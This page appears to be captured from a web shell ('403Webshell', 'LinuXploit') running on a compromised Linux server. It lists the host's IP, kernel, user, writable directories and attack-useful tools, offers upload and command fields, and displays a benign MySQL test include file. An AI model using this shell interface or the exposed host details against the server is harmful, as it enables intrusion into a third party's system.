403Webshell
Server IP : 45.40.142.9  /  Your IP : 216.73.216.236
Web Server : Apache
System : Linux s45-40-142-9.secureserver.net 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : bayspec ( 506)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/mysql-test/suite/ndb_big/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/mysql-test/suite/ndb_big/run_query_with_retry.inc
#
# Run the built query in $sql, retry temporary errors
#

let $_continue = 1;
let $_retry = 0;
while($_continue)
{
  error 0,1297; # Allow OK or temporary error
  eval $sql;    # Run the query

  if (!$mysql_errno)
  {
    # Query suceeded, break the retry loop
    let $_continue = 0;
  }

  if ($mysql_errno)
  {
    # Query failed
    inc $_retry;
    echo Query failed with temporary error, retry:  $_retry;

    sleep 0.1;
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit